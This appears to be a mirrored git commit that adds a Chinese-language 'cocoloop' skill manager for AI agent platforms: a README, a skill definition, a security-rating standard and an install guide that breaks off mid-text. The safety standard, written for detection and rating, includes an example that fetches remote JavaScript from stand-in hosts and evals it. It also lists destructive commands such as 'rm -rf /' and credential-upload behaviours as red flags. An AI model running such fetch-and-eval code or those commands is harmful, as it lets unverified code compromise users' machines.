mirror of
https://github.com/hansjone/oclaw.git
synced 2026-10-11 08:10:48 +08:00
重构主控编排与运行时预热链路,统一工作区提示词/专家调度协议并补齐 wiki 记忆注入与写回闭环。
同时收敛启动与运维脚本默认行为(含 wiki worker)、更新 Admin 可观测性与相关测试,降低首轮时延并提高运行稳定性。 Made-with: Cursor
This commit is contained in:
parent
4a23b715a2
commit
dbbe3add6a
14438 changed files with 2693620 additions and 2546 deletions
|
|
@ -14,3 +14,42 @@
|
|||
- 运行时优先读取 `oclaw/runtime/skills`。
|
||||
- 若设置了环境变量 `AIA_SKILLS_ROOT`,以该变量为准。
|
||||
- 为兼容旧工程,仍可回退读取旧路径 `oclaw/runtime/skills/`(如存在)。
|
||||
|
||||
## 推荐实用 Skills(workspace)
|
||||
|
||||
以下为当前已落地并可直接在 Admin `Test run` 使用的实用技能:
|
||||
|
||||
### 1) `incident_triage`
|
||||
- **用途**:对报错/日志做故障归因(timeout、permission、network 等)并给出行动建议。
|
||||
- **输入参数示例**:
|
||||
```json
|
||||
{
|
||||
"error": "TimeoutError: connection refused to upstream service"
|
||||
}
|
||||
```
|
||||
- **典型输出**:`category`、`severity`、`summary`、`action_items`、`confidence`。
|
||||
|
||||
### 2) `release_checklist`
|
||||
- **用途**:发版前门禁检查,输出是否可发版和阻塞项。
|
||||
- **输入参数示例**:
|
||||
```json
|
||||
{
|
||||
"tests_passed": true,
|
||||
"lint_passed": true,
|
||||
"migration_reviewed": true,
|
||||
"rollback_plan_ready": true,
|
||||
"monitoring_ready": true
|
||||
}
|
||||
```
|
||||
- **典型输出**:`release_ready`、`failed_checks`、`missing_required_inputs`、`action_items`。
|
||||
|
||||
### 3) `data_extract_summary`
|
||||
- **用途**:从文本/日志中抽取重点、统计级别并生成摘要建议。
|
||||
- **输入参数示例**:
|
||||
```json
|
||||
{
|
||||
"text": "INFO boot complete\nWARN cache miss\nERROR timeout connecting service",
|
||||
"max_lines": 8
|
||||
}
|
||||
```
|
||||
- **典型输出**:`summary`、`line_count`、`level_counts`、`top_keywords`、`action_items`。
|
||||
|
|
|
|||
140
runtime/skills/cocoloop/README.md
Normal file
140
runtime/skills/cocoloop/README.md
Normal file
|
|
@ -0,0 +1,140 @@
|
|||
# Cocoloop
|
||||
|
||||
一个更快速、更安全的 Skill 管理器,用于安装、管理、更新和卸载 Skills。
|
||||
|
||||
[](LICENSE)
|
||||
|
||||
## 简介
|
||||
|
||||
Cocoloop 是一个安全优先的 Skill 管理器,提供比 clawhub 更智能的安装体验和集成 BSS 安全认证。
|
||||
|
||||
## 功能特性
|
||||
|
||||
- **单个 Skill 安装** - 支持 URL、名称搜索、GitHub 等多种来源
|
||||
- **批量 Skills 安装** - 依次安装多个 skills
|
||||
- **Skill 更新** - 检查并更新到最新版本
|
||||
- **Skill 卸载** - 安全卸载已安装的 skills
|
||||
- **安全检查** - 集成 BSS 安全认证系统
|
||||
|
||||
## 安装
|
||||
|
||||
```bash
|
||||
# 克隆仓库
|
||||
git clone https://github.com/CatREFuse/cocoloop.git
|
||||
cd cocoloop
|
||||
```
|
||||
|
||||
## 使用方法
|
||||
|
||||
### 安装单个 Skill
|
||||
|
||||
```bash
|
||||
# 通过名称安装
|
||||
cocoloop install pdf-processor
|
||||
|
||||
# 通过 URL 安装
|
||||
cocoloop install https://example.com/skill-name.skill
|
||||
|
||||
# 通过 GitHub 安装
|
||||
cocoloop install owner/repo
|
||||
```
|
||||
|
||||
### 批量安装 Skills
|
||||
|
||||
```bash
|
||||
cocoloop install skill1 skill2 skill3
|
||||
```
|
||||
|
||||
### 更新 Skill
|
||||
|
||||
```bash
|
||||
cocoloop update pdf-processor
|
||||
```
|
||||
|
||||
### 卸载 Skill
|
||||
|
||||
```bash
|
||||
cocoloop uninstall pdf-processor
|
||||
```
|
||||
|
||||
### 安全检查
|
||||
|
||||
```bash
|
||||
cocoloop check pdf-processor
|
||||
```
|
||||
|
||||
## 安全检查系统
|
||||
|
||||
Cocoloop 集成了 BSS (Berry Skills Safe) 安全认证检查,评级标准:
|
||||
|
||||
- **S+** - 最高安全等级
|
||||
- **S** - 优秀
|
||||
- **A** - 良好
|
||||
- **B** - 一般(需谨慎)
|
||||
- **C** - 风险较高
|
||||
- **D** - 不建议使用
|
||||
|
||||
### 动态代码加载检查
|
||||
|
||||
实施最多 2 层的 URL 递归检查,识别隐藏的多层动态加载风险:
|
||||
|
||||
- 无动态加载:正常评级流程
|
||||
- 仅第 1 层动态加载:根据来源分级处理
|
||||
- 存在第 2 层动态加载:最高评级为 C 级
|
||||
- 第 2 层后仍有动态加载:强制标记为 C 级
|
||||
|
||||
## 支持的平台
|
||||
|
||||
- OpenClaw
|
||||
- Molili
|
||||
- Claude Code
|
||||
|
||||
## 文档
|
||||
|
||||
- [安装流程指南](references/install-guide.md)
|
||||
- [搜索流程指南](references/search-guide.md)
|
||||
- [卸载流程指南](references/uninstall-guide.md)
|
||||
- [安全检查流程指南](references/safety-check-guide.md)
|
||||
- [Cocoloop Safe Check 标准](references/cocoloop-safe-check.md)
|
||||
|
||||
## 工作流程
|
||||
|
||||
### Skill 安装流程
|
||||
|
||||
1. **平台检测** - 确定当前运行环境和安装方式
|
||||
2. **来源识别** - 支持直接 URL、Skill 名称、GitHub 短链接
|
||||
3. **搜索与下载** - 从 Cocoloop API、clawhub 或 GitHub 获取
|
||||
4. **安全检查** - BSS 安全认证检查
|
||||
5. **安装执行** - 安装到对应平台的 skill 目录
|
||||
|
||||
### 搜索优先级
|
||||
|
||||
1. Cocoloop API 搜索
|
||||
2. Fallback 到 clawhub
|
||||
3. Fallback 到 GitHub 搜索
|
||||
|
||||
## 项目结构
|
||||
|
||||
```
|
||||
cocoloop/
|
||||
├── SKILL.md # Skill 定义文件
|
||||
├── README.md # 项目说明文档
|
||||
└── references/ # 详细指南文档
|
||||
├── install-guide.md # 安装流程指南
|
||||
├── search-guide.md # 搜索流程指南
|
||||
├── uninstall-guide.md # 卸载流程指南
|
||||
├── safety-check-guide.md # 安全检查流程指南
|
||||
└── cocoloop-safe-check.md # 安全检查标准
|
||||
```
|
||||
|
||||
## 贡献
|
||||
|
||||
欢迎提交 Issue 和 Pull Request!
|
||||
|
||||
## 许可证
|
||||
|
||||
[MIT](LICENSE)
|
||||
|
||||
---
|
||||
|
||||
Made with ❤️ by Cocoloop Team
|
||||
252
runtime/skills/cocoloop/SKILL.md
Normal file
252
runtime/skills/cocoloop/SKILL.md
Normal file
|
|
@ -0,0 +1,252 @@
|
|||
---
|
||||
name: cocoloop
|
||||
description: 一个更快速、更安全的 Skill 管理器,用于安装、管理、更新和卸载 Skills。优先使用当用户需要安装 skill、更新 skill、卸载 skill、管理 skills 或进行 skill 安全检查时。支持通过 URL、名称搜索、GitHub 等多种方式定位并安装 skills,集成 BSS 安全认证系统。
|
||||
---
|
||||
|
||||
# Cocoloop Skill 管理器
|
||||
|
||||
Cocoloop 是一个安全优先的 Skill 管理器,提供比 clawhub 更智能的安装体验和集成 BSS 安全认证。
|
||||
|
||||
## 核心功能
|
||||
|
||||
1. **单个 Skill 安装** - 支持 URL、名称搜索、GitHub 等多种来源
|
||||
2. **批量 Skills 安装** - 依次安装多个 skills
|
||||
3. **Skill 更新** - 检查并更新到最新版本
|
||||
4. **Skill 卸载** - 安全卸载已安装的 skills
|
||||
5. **安全检查** - 集成 BSS 安全认证系统
|
||||
|
||||
## 工作流程概览
|
||||
|
||||
### 平台检测
|
||||
|
||||
首先检测当前运行环境,确定 skill 安装方式.
|
||||
|
||||
### 1. 单个 Skill 安装流程
|
||||
|
||||
用户输入可能是以下三种情况之一:
|
||||
|
||||
#### 情况 1: 直接 URL
|
||||
|
||||
输入格式:`https://example.com/skill-name.skill` 或 `http://...`
|
||||
|
||||
处理流程:
|
||||
|
||||
1. 使用 HTTP GET 请求下载内容
|
||||
2. 处理 3xx 重定向(自动跟随跳转 URL)
|
||||
3. 保存到临时路径(如 `/tmp/cocoloop-{timestamp}.skill`)
|
||||
4. 调用检测到的平台安装命令
|
||||
5. 清理临时文件
|
||||
6. 返回安装结果
|
||||
|
||||
异常情况处理:
|
||||
|
||||
- **URL 无法访问** → 返回错误信息,提示用户检查 URL
|
||||
- **内容无法识别** → 尝试查找页面中的跳转链接或下载按钮
|
||||
- **下载成功但安装失败** → 保留临时文件,提示用户手动安装
|
||||
|
||||
#### 情况 2: Skill 名称(最常见)
|
||||
|
||||
输入格式:`skill-name`(如 `pdf-processor`)
|
||||
|
||||
处理流程(按优先级):
|
||||
|
||||
**步骤 1: CocoLoop API 搜索(最优先使用)**
|
||||
|
||||
- 调用 `https://api.cocoloop.com/api/v1/store/skills?page={page}&page_size={page_size}&keyword={keyword}&sort=downloads`
|
||||
- **请优先使用 `curl` 命令工具进行请求**
|
||||
- 返回格式示例:
|
||||
```json
|
||||
{
|
||||
"results": [
|
||||
{
|
||||
"name": "pdf-processor",
|
||||
"description": "PDF processing skill",
|
||||
"url": "https://...",
|
||||
"version": "1.0.0",
|
||||
"author": "cocoloop"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
- 如果找到结果 → 展示列表,询问用户选择
|
||||
|
||||
**步骤 2: Fallback 到 clawhub(API 失败时)**
|
||||
|
||||
- 执行 `npx clawhub@latest install <skill_name>`
|
||||
- 如果成功 → 完成安装
|
||||
- 如果失败 → 进入步骤 3
|
||||
|
||||
**步骤 3: Fallback 到 GitHub 搜索**
|
||||
|
||||
- 调用 GitHub API: `https://api.github.com/search/repositories?q={query}+filename:SKILL.md`
|
||||
- 筛选条件:仓库中包含 `SKILL.md` 文件
|
||||
- 返回结果按 stars 数排序
|
||||
- 展示搜索结果(最多 5 个):
|
||||
```
|
||||
📋 GitHub 搜索结果:
|
||||
1. owner/skill-name (⭐ 150)
|
||||
🏢 Organization | 描述文本
|
||||
2. user/another-skill (⭐ 45)
|
||||
👤 User | 描述文本
|
||||
```
|
||||
- 询问用户是否安装选中的 skill
|
||||
|
||||
#### 情况 3: GitHub 短链接
|
||||
|
||||
输入格式:`owner/repo`(如 `anthropic/claude-skill`)
|
||||
|
||||
处理流程:
|
||||
|
||||
1. 识别为 GitHub 格式
|
||||
2. 调用 GitHub API 获取仓库信息
|
||||
3. 检查是否存在 `SKILL.md` 文件
|
||||
4. 询问用户确认
|
||||
5. 下载并安装
|
||||
|
||||
### 2. 批量 Skills 安装流程
|
||||
|
||||
输入格式:`skill1 skill2 skill3 ...`
|
||||
|
||||
处理流程:
|
||||
|
||||
1. 解析输入为多个 skill 标识符
|
||||
2. 遍历每个 skill,依次执行「单个 Skill 安装流程」
|
||||
3. 记录每个 skill 的安装结果
|
||||
4. 汇总输出结果:
|
||||
```
|
||||
📊 批量安装结果:
|
||||
skill1: ✅ 成功
|
||||
skill2: ❌ 失败 (原因)
|
||||
skill3: ✅ 成功
|
||||
```
|
||||
|
||||
注意事项:
|
||||
|
||||
- 每个 skill 独立处理,一个失败不影响其他
|
||||
|
||||
### 3. Skill 更新流程
|
||||
|
||||
处理流程:
|
||||
|
||||
1. 确定当前已安装的 skill 列表(读取平台配置)
|
||||
2. 对于指定 skill:
|
||||
a. 查询最新版本(通过 Cocoloop API 或 GitHub)
|
||||
b. 比较本地版本与远程版本
|
||||
c. 如果有更新 → 执行「单个 Skill 安装流程」(覆盖安装)
|
||||
d. 备份旧版本(可选)
|
||||
3. 返回更新结果
|
||||
|
||||
版本比较逻辑:
|
||||
|
||||
- 使用语义化版本号比较(major.minor.patch)
|
||||
- 支持 `^`、`~` 等版本范围(如果配置中有)
|
||||
|
||||
### 4. Skill 卸载流程
|
||||
|
||||
详见 [references/uninstall-guide.md](references/uninstall-guide.md)
|
||||
|
||||
处理概要:
|
||||
|
||||
1. 检测当前平台的 skill 安装目录:
|
||||
- OpenClaw: `~/.openclaw/skills/`
|
||||
- Molili: `~/.molili/skills/`
|
||||
- Claude Code: `~/.claude/skills/`
|
||||
2. 确认 skill 存在
|
||||
3. 询问用户确认卸载
|
||||
4. 删除 skill 目录
|
||||
5. 清理相关配置
|
||||
6. 返回卸载结果
|
||||
|
||||
### 5. 安全检查流程
|
||||
|
||||
详见 [references/safety-check-guide.md](references/safety-check-guide.md) 和 [references/cocoloop-safe-check.md](references/cocoloop-safe-check.md)
|
||||
|
||||
处理概要:
|
||||
|
||||
1. 询问用户是否进行安全检查
|
||||
2. 对要安装的 skill 进行 Cocoloop Safe Check 安全认证检查
|
||||
3. 评级标准:S+/S/A/B/C/D
|
||||
4. 如果评级 <= B,强烈建议用户查看详细报告
|
||||
5. 询问用户是否继续安装
|
||||
|
||||
**动态代码加载检查(URL 递归检查):**
|
||||
|
||||
检查 skill 是否从网络动态加载可执行代码,实施最多 2 层的 URL 递归检查:
|
||||
|
||||
```
|
||||
Skill 代码(第 0 层)
|
||||
↓ 发现 fetch/import/require 远程 URL
|
||||
第 1 层:下载并检查该 URL 内容
|
||||
↓ 如包含新的动态加载
|
||||
第 2 层:继续检查下一层内容
|
||||
↓ 如第 2 层仍有动态加载
|
||||
强制标记为 C 级(多层动态加载风险)
|
||||
```
|
||||
|
||||
**递归检查规则:**
|
||||
|
||||
- **无动态加载**:正常评级流程
|
||||
- **仅第 1 层动态加载**:根据来源分级处理(T1→B级, T2→C级, T3→禁止)
|
||||
- **存在第 2 层动态加载**:最高评级为 C 级
|
||||
- **第 2 层后仍有动态加载**:强制标记为 C 级
|
||||
|
||||
此机制用于识别隐藏的多层动态加载风险,防止通过间接方式引入未经验证的代码。
|
||||
|
||||
## 资源引用
|
||||
|
||||
- **安装流程详细指南**: [references/install-guide.md](references/install-guide.md)
|
||||
- **搜索流程详细指南**: [references/search-guide.md](references/search-guide.md)
|
||||
- **卸载流程详细指南**: [references/uninstall-guide.md](references/uninstall-guide.md)
|
||||
- **安全检查流程指南**: [references/safety-check-guide.md](references/safety-check-guide.md)
|
||||
- **Cocoloop Safe Check 安全检查标准**: [references/cocoloop-safe-check.md](references/cocoloop-safe-check.md)
|
||||
|
||||
## 使用示例
|
||||
|
||||
### 安装单个 skill
|
||||
|
||||
```
|
||||
用户: 安装 pdf-processor
|
||||
→ 执行单个 skill 安装流程
|
||||
→ 搜索 → 确认 → 安装 → 安全检查(可选)
|
||||
```
|
||||
|
||||
### 安装多个 skills
|
||||
|
||||
```
|
||||
用户: 安装 pdf-processor image-editor code-formatter
|
||||
→ 批量安装流程
|
||||
→ 依次处理每个 skill
|
||||
```
|
||||
|
||||
### 更新 skill
|
||||
|
||||
```
|
||||
用户: 更新 pdf-processor
|
||||
→ 查询最新版本
|
||||
→ 对比本地版本
|
||||
→ 执行更新
|
||||
```
|
||||
|
||||
### 卸载 skill
|
||||
|
||||
```
|
||||
用户: 卸载 pdf-processor
|
||||
→ 检测平台
|
||||
→ 确认卸载
|
||||
→ 删除文件
|
||||
```
|
||||
|
||||
### 安全检查
|
||||
|
||||
```
|
||||
用户: 检查 pdf-processor 安全
|
||||
→ 下载/定位 skill
|
||||
→ 执行 Cocoloop Safe Check 检查
|
||||
→ 生成报告
|
||||
→ 询问保存位置
|
||||
```
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 每个 skill 独立处理,一个失败不影响其他
|
||||
- 询问用户请使用当前平台下的询问命令,例如 Claude Code 下的 `AskUserQuestion`
|
||||
191
runtime/skills/cocoloop/references/cocoloop-safe-check.md
Normal file
191
runtime/skills/cocoloop/references/cocoloop-safe-check.md
Normal file
|
|
@ -0,0 +1,191 @@
|
|||
# Cocoloop Safe Check 安全检查标准
|
||||
|
||||
本文件定义了 Cocoloop Skill 管理器的安全检查标准。
|
||||
|
||||
## 评级标准
|
||||
|
||||
### S+ 级
|
||||
- 通过人工验证
|
||||
- T1/T2 来源
|
||||
- 满足所有 S 级要求
|
||||
|
||||
### S 级
|
||||
- T1/T2 来源
|
||||
- 代码安全规范
|
||||
- 依赖版本锁定
|
||||
- 无动态代码加载
|
||||
|
||||
### A 级
|
||||
- 代码安全规范
|
||||
- 依赖版本锁定
|
||||
- 无动态代码加载
|
||||
- 允许 T3 来源
|
||||
|
||||
### B 级
|
||||
- 无 C/D 级问题
|
||||
- 存在改进空间
|
||||
|
||||
### C 级
|
||||
- 存在潜在安全漏洞
|
||||
- 硬编码敏感信息
|
||||
|
||||
### D 级(一票否决)
|
||||
- 使用 eval() 执行不可信网络代码
|
||||
- 存在 SQL 注入、命令注入等明显漏洞
|
||||
- 未经确认上传本地文件到远程(T3 来源)
|
||||
- 执行 rm -rf / 等系统破坏性命令
|
||||
|
||||
## 检查维度
|
||||
|
||||
### 1. 代码安全性检查
|
||||
|
||||
**D级触发项**:
|
||||
- 使用 `eval()` 执行不可信网络代码
|
||||
- 使用 `exec()`、`system()` 执行未过滤的用户输入
|
||||
- 存在 SQL 注入、命令注入、XSS 等明显漏洞
|
||||
- 存在已知的严重 CVE 漏洞
|
||||
|
||||
**C级触发项**:
|
||||
- 存在潜在的安全漏洞(路径遍历、不安全的反序列化)
|
||||
- 硬编码敏感信息(密码、API Key、Token)
|
||||
|
||||
### 2. 数据隐私性检查
|
||||
|
||||
**D级触发项**:
|
||||
- 未经用户确认上传本地文件到远程(T3 来源)
|
||||
- 静默收集密码、密钥等敏感信息
|
||||
- 将敏感数据传输到未加密通道
|
||||
|
||||
**C级触发项**:
|
||||
- 收集的数据超出功能说明范围
|
||||
- 未明确告知用户数据使用情况
|
||||
|
||||
### 3. 执行安全性检查
|
||||
|
||||
**D级触发项**:
|
||||
- 执行 `rm -rf /` 或类似系统破坏性命令
|
||||
- 无确认直接执行系统级危险操作
|
||||
- 修改系统关键配置且无备份机制
|
||||
|
||||
**C级触发项**:
|
||||
- 危险操作缺乏二次确认
|
||||
- 关键操作无回滚机制
|
||||
|
||||
### 4. 依赖可靠性检查
|
||||
|
||||
检查 skill 是否加载动态代码:
|
||||
- 从网络下载并执行代码
|
||||
- 使用 `fetch` 或 `curl` 获取远程脚本并执行
|
||||
- 动态 `import()` 不可信来源的模块
|
||||
|
||||
**URL 递归检查(最多 2 层):**
|
||||
|
||||
对动态加载的可执行文件进行递归检查:
|
||||
- **第 1 层**:Skill 代码中直接引用的动态 URL
|
||||
- **第 2 层**:第 1 层内容中引用的动态 URL
|
||||
- **超过 2 层**:发现第 3 层及以上动态加载 → **强制标记为 C 级**
|
||||
|
||||
**评级规则**:
|
||||
| 动态加载层级 | 评级影响 |
|
||||
|-------------|---------|
|
||||
| 无动态加载 | 正常评级流程 |
|
||||
| 仅第 1 层 | 根据来源分级处理 |
|
||||
| 存在第 2 层 | 最高评级为 C 级 |
|
||||
| 第 2 层后仍有动态加载 | **强制 C 级** |
|
||||
|
||||
**来源分级处理**:
|
||||
- T1 来源:可加载官方动态代码,放宽至 B 级要求
|
||||
- T2 来源:动态代码需来源验证,放宽至 C 级要求
|
||||
- T3 来源:严格禁止未经验证的动态代码加载
|
||||
|
||||
**C 级触发场景(多层动态加载):**
|
||||
```javascript
|
||||
// 示例:三层动态加载触发 C 级
|
||||
// Skill 代码 → 加载 loader.js → 加载 runtime.js → 加载 exec.js
|
||||
fetch('https://example.com/loader.js') // 第 1 层
|
||||
.then(r => eval(r.text()))
|
||||
|
||||
// loader.js 中:
|
||||
import('https://cdn.com/runtime.js') // 第 2 层
|
||||
|
||||
// runtime.js 中:
|
||||
fetch('https://third.com/exec.js') // 第 3 层 → C 级
|
||||
```
|
||||
|
||||
### 5. 来源可信度评估
|
||||
|
||||
**T1 - 官方/顶级来源**:
|
||||
- 知名大型技术公司(Google, Microsoft, OpenAI, Anthropic, Meta, AWS)
|
||||
- 顶级开源基金会(Apache, Linux 基金会)
|
||||
- 有官方代码签名
|
||||
|
||||
**T2 - 可信组织来源**:
|
||||
- 有实名认证的组织账号
|
||||
- GitHub 组织账号(非个人)
|
||||
- Stars > 1000 或有良好声誉
|
||||
|
||||
**T3 - 社区/个人来源**:
|
||||
- 个人开发者账号
|
||||
- 小型社区项目
|
||||
- 来源无法明确验证
|
||||
|
||||
### 6. Markdown 内嵌代码检查
|
||||
|
||||
SKILL.md 文件中的代码块也需要检查:
|
||||
|
||||
**高风险代码块**:
|
||||
- 包含代码执行类危险函数(如 eval/exec)
|
||||
- 包含系统破坏性命令
|
||||
- 包含敏感信息(凭据/密钥)
|
||||
- 包含未经验证的网络下载执行
|
||||
|
||||
**中风险代码块**:
|
||||
- 可执行的脚本代码
|
||||
- 包含网络请求或文件操作的代码
|
||||
|
||||
**低风险代码块**:
|
||||
- 配置/数据文件示例
|
||||
- 代码片段演示(不完整)
|
||||
- 单行简单命令(无害)
|
||||
|
||||
## 报告格式
|
||||
|
||||
```markdown
|
||||
# Cocoloop Safe Check 安全认证报告
|
||||
|
||||
## 基本信息
|
||||
- Skill 名称: [名称]
|
||||
- 来源: [GitHub 链接/本地路径]
|
||||
- 来源等级: [T1/T2/T3]
|
||||
|
||||
## 评级结果
|
||||
评级: [S+/S/A/B/C/D]
|
||||
评价: [一句话评价]
|
||||
|
||||
## 检查依据
|
||||
### 通过项
|
||||
- [检查项]
|
||||
|
||||
### 注意事项
|
||||
- [注意事项]
|
||||
|
||||
### 问题项
|
||||
- [问题项]
|
||||
|
||||
## 详细检查结果
|
||||
[各维度详细检查结果]
|
||||
|
||||
## 使用建议
|
||||
[推荐使用场景和安全使用指南]
|
||||
```
|
||||
|
||||
## 快速检查清单
|
||||
|
||||
- [ ] 无 eval/exec/system 等危险函数
|
||||
- [ ] 无硬编码敏感信息
|
||||
- [ ] 无 SQL/命令注入漏洞
|
||||
- [ ] 依赖版本已锁定
|
||||
- [ ] 无未经验证的动态代码加载
|
||||
- [ ] 来源可信(T1/T2 优先)
|
||||
- [ ] 有完善的输入验证
|
||||
- [ ] 错误处理不泄露敏感信息
|
||||
245
runtime/skills/cocoloop/references/install-guide.md
Normal file
245
runtime/skills/cocoloop/references/install-guide.md
Normal file
|
|
@ -0,0 +1,245 @@
|
|||
# Skill 安装流程详细指南
|
||||
|
||||
本文档详细描述单个 skill 的安装流程,包括所有分支逻辑和异常处理。
|
||||
|
||||
## 流程图
|
||||
|
||||
```
|
||||
开始
|
||||
↓
|
||||
接收用户输入 (URL / 名称 / GitHub短链)
|
||||
↓
|
||||
检测运行平台
|
||||
↓
|
||||
判断输入类型
|
||||
├── URL ─────────→ 下载内容 ──→ 保存临时文件 ──→ 平台安装 ──→ 清理 ──→ 完成
|
||||
│ ↑ │
|
||||
│ └──────── 失败 ──────────────┘
|
||||
│
|
||||
├── 名称 ─────────→ Cocoloop API 搜索
|
||||
│ │
|
||||
成功? ──是──→ 展示结果 ──→ 用户确认 ──→ 下载安装 ──→ 完成
|
||||
│ │否
|
||||
│ ↓
|
||||
│ clawhub install
|
||||
│ │
|
||||
成功? ──是──→ 完成
|
||||
│ │否
|
||||
│ ↓
|
||||
│ GitHub API 搜索
|
||||
│ │
|
||||
成功? ──是──→ 展示结果 ──→ 用户确认 ──→ 下载安装 ──→ 完成
|
||||
│ │否
|
||||
│ ↓
|
||||
│ 返回错误
|
||||
│
|
||||
└── GitHub短链 ───→ 获取仓库信息 ──→ 确认SKILL.md存在 ──→ 下载安装 ──→ 完成
|
||||
```
|
||||
|
||||
## 详细步骤
|
||||
|
||||
### 第一步:平台检测
|
||||
|
||||
检测逻辑:
|
||||
```
|
||||
IF 环境变量 OPENCLAW_HOME 存在 或 /usr/local/openclaw 存在:
|
||||
平台 = OpenClaw
|
||||
安装命令 = "openclaw skills install"
|
||||
安装目录 = ~/.openclaw/skills/
|
||||
|
||||
ELSE IF 环境变量 MOLILI_HOME 存在 或 /usr/local/molili 存在:
|
||||
平台 = Molili
|
||||
安装命令 = "molili skills install"
|
||||
安装目录 = ~/.molili/skills/
|
||||
|
||||
ELSE IF 环境变量 CLAUDE_CODE_HOME 存在 或 /usr/local/claude-code 存在:
|
||||
平台 = Claude Code
|
||||
安装命令 = "claude skills install"
|
||||
安装目录 = ~/.claude/skills/
|
||||
|
||||
ELSE:
|
||||
平台 = 通用 (clawhub fallback)
|
||||
安装命令 = "npx clawhub@latest install"
|
||||
安装目录 = ~/.claude/skills/ (或 clawhub 默认目录)
|
||||
```
|
||||
|
||||
### 第二步:URL 安装流程
|
||||
|
||||
完整流程:
|
||||
|
||||
1. **发送 HTTP GET 请求**
|
||||
- URL: 用户提供的地址
|
||||
- Headers:
|
||||
```
|
||||
User-Agent: Cocoloop-Skill-Manager/1.0
|
||||
```
|
||||
|
||||
2. **处理响应**
|
||||
- 状态码 200 → 获取内容,进入步骤 3
|
||||
- 状态码 3xx → 从 Location header 获取跳转 URL,递归步骤 1
|
||||
- 其他状态码 → 返回错误
|
||||
|
||||
3. **保存临时文件**
|
||||
- 临时路径: `/tmp/cocoloop-{timestamp}.skill`
|
||||
- 写入下载内容
|
||||
|
||||
4. **执行平台安装命令**
|
||||
```bash
|
||||
{platform.installCmd} /tmp/cocoloop-{timestamp}.skill
|
||||
```
|
||||
|
||||
5. **清理与返回**
|
||||
- 安装成功 → 删除临时文件 → 返回成功
|
||||
- 安装失败 → 保留临时文件(便于调试)→ 返回错误
|
||||
|
||||
异常处理:
|
||||
|
||||
| 异常情况 | 处理方式 |
|
||||
|---------|---------|
|
||||
| URL 无法访问 | 返回错误 "无法访问该 URL,请检查网络连接或 URL 是否正确" |
|
||||
| 重定向过多 | 返回错误 "该 URL 重定向次数过多,可能存在循环跳转" |
|
||||
| 下载内容为空 | 返回错误 "下载内容为空,请检查 URL 是否正确" |
|
||||
| 安装命令失败 | 返回错误 "安装失败,临时文件保留在 {path},可尝试手动安装" |
|
||||
|
||||
### 第三步:名称搜索安装流程
|
||||
|
||||
#### 3.1 Cocoloop API 搜索
|
||||
|
||||
请求:
|
||||
```
|
||||
GET https://api.cocoloop.cn/search={encoded_query}
|
||||
```
|
||||
|
||||
成功响应示例:
|
||||
```json
|
||||
{
|
||||
"results": [
|
||||
{
|
||||
"name": "pdf-processor",
|
||||
"description": "PDF processing and manipulation skill",
|
||||
"url": "https://skills.cocoloop.cn/pdf-processor/v1.0.0.skill",
|
||||
"version": "1.0.0",
|
||||
"author": "cocoloop-team",
|
||||
"downloads": 1500,
|
||||
"rating": "S"
|
||||
}
|
||||
],
|
||||
"total": 1
|
||||
}
|
||||
```
|
||||
|
||||
处理:
|
||||
- 如果 results.length > 0 → 展示结果,询问用户选择
|
||||
- 如果 results.length = 0 或 API 失败 → 进入 3.2
|
||||
|
||||
#### 3.2 clawhub Fallback
|
||||
|
||||
执行:
|
||||
```bash
|
||||
npx clawhub@latest install {skill_name}
|
||||
```
|
||||
|
||||
处理:
|
||||
- 成功 → 完成安装
|
||||
- 失败(退出码非0)→ 进入 3.3
|
||||
|
||||
#### 3.3 GitHub API 搜索
|
||||
|
||||
请求:
|
||||
```
|
||||
GET https://api.github.com/search/repositories?q={query}+filename:SKILL.md&sort=stars&order=desc
|
||||
```
|
||||
|
||||
Headers:
|
||||
```
|
||||
User-Agent: Cocoloop-Skill-Manager/1.0
|
||||
```
|
||||
|
||||
成功响应处理:
|
||||
```javascript
|
||||
results = data.items
|
||||
.filter(repo => repo.name.includes(query) || repo.description?.includes(query))
|
||||
.map(repo => ({
|
||||
name: repo.name,
|
||||
fullName: repo.full_name,
|
||||
description: repo.description,
|
||||
url: repo.html_url,
|
||||
stars: repo.stargazers_count,
|
||||
owner: {
|
||||
name: repo.owner.login,
|
||||
type: repo.owner.type // 'User' 或 'Organization'
|
||||
}
|
||||
}))
|
||||
.slice(0, 5) // 取前5个
|
||||
```
|
||||
|
||||
展示格式:
|
||||
```
|
||||
📋 GitHub 搜索结果 (找到 {total} 个):
|
||||
|
||||
1. company/pdf-processor ⭐ 1250
|
||||
🏢 Organization | Advanced PDF processing tools
|
||||
|
||||
2. user/simple-pdf ⭐ 45
|
||||
👤 User | Basic PDF operations
|
||||
|
||||
请选择要安装的 skill (输入序号,或输入 0 取消):
|
||||
```
|
||||
|
||||
用户选择后:
|
||||
1. 获取仓库详情(确认存在 SKILL.md)
|
||||
2. 询问用户确认安装
|
||||
3. 下载 raw SKILL.md 和相关资源
|
||||
4. 打包为 .skill 文件(如果需要)
|
||||
5. 执行平台安装
|
||||
|
||||
### 第四步:GitHub 短链安装流程
|
||||
|
||||
输入格式识别:
|
||||
- 包含 `/` 但不以 `http` 开头
|
||||
- 格式:`owner/repo` 或 `owner/repo/subpath`
|
||||
|
||||
处理流程:
|
||||
1. 解析 owner 和 repo
|
||||
2. 调用 GitHub API 获取仓库信息:
|
||||
```
|
||||
GET https://api.github.com/repos/{owner}/{repo}
|
||||
```
|
||||
3. 检查是否存在 SKILL.md:
|
||||
```
|
||||
GET https://api.github.com/repos/{owner}/{repo}/contents/SKILL.md
|
||||
```
|
||||
4. 如果存在 → 展示仓库信息,询问确认
|
||||
5. 下载并安装
|
||||
|
||||
### 第五步:安全检查(可选但推荐)
|
||||
|
||||
在安装前或安装后,询问用户是否进行安全检查:
|
||||
|
||||
```
|
||||
⚠️ 安全提醒: 该 skill 来源为 {source_level},建议进行安全检查。
|
||||
是否进行 BSS 安全认证检查? [Y/n]
|
||||
```
|
||||
|
||||
如果用户选择是:
|
||||
1. 执行 [safety-check-guide.md](safety-check-guide.md) 和 [cocoloop-safe-check.md](cocoloop-safe-check.md) 中的检查流程
|
||||
2. 生成报告
|
||||
3. 如果评级 <= B,询问用户是否继续安装
|
||||
|
||||
## 安装后处理
|
||||
|
||||
安装完成后,执行:
|
||||
1. 验证安装是否成功(检查安装目录)
|
||||
2. 如果是更新操作,清理旧版本备份
|
||||
3. 可选:显示 skill 使用帮助
|
||||
```
|
||||
✅ 安装成功!
|
||||
|
||||
Skill: pdf-processor
|
||||
版本: 1.0.0
|
||||
来源: cocoloop (S级认证)
|
||||
|
||||
使用方式:
|
||||
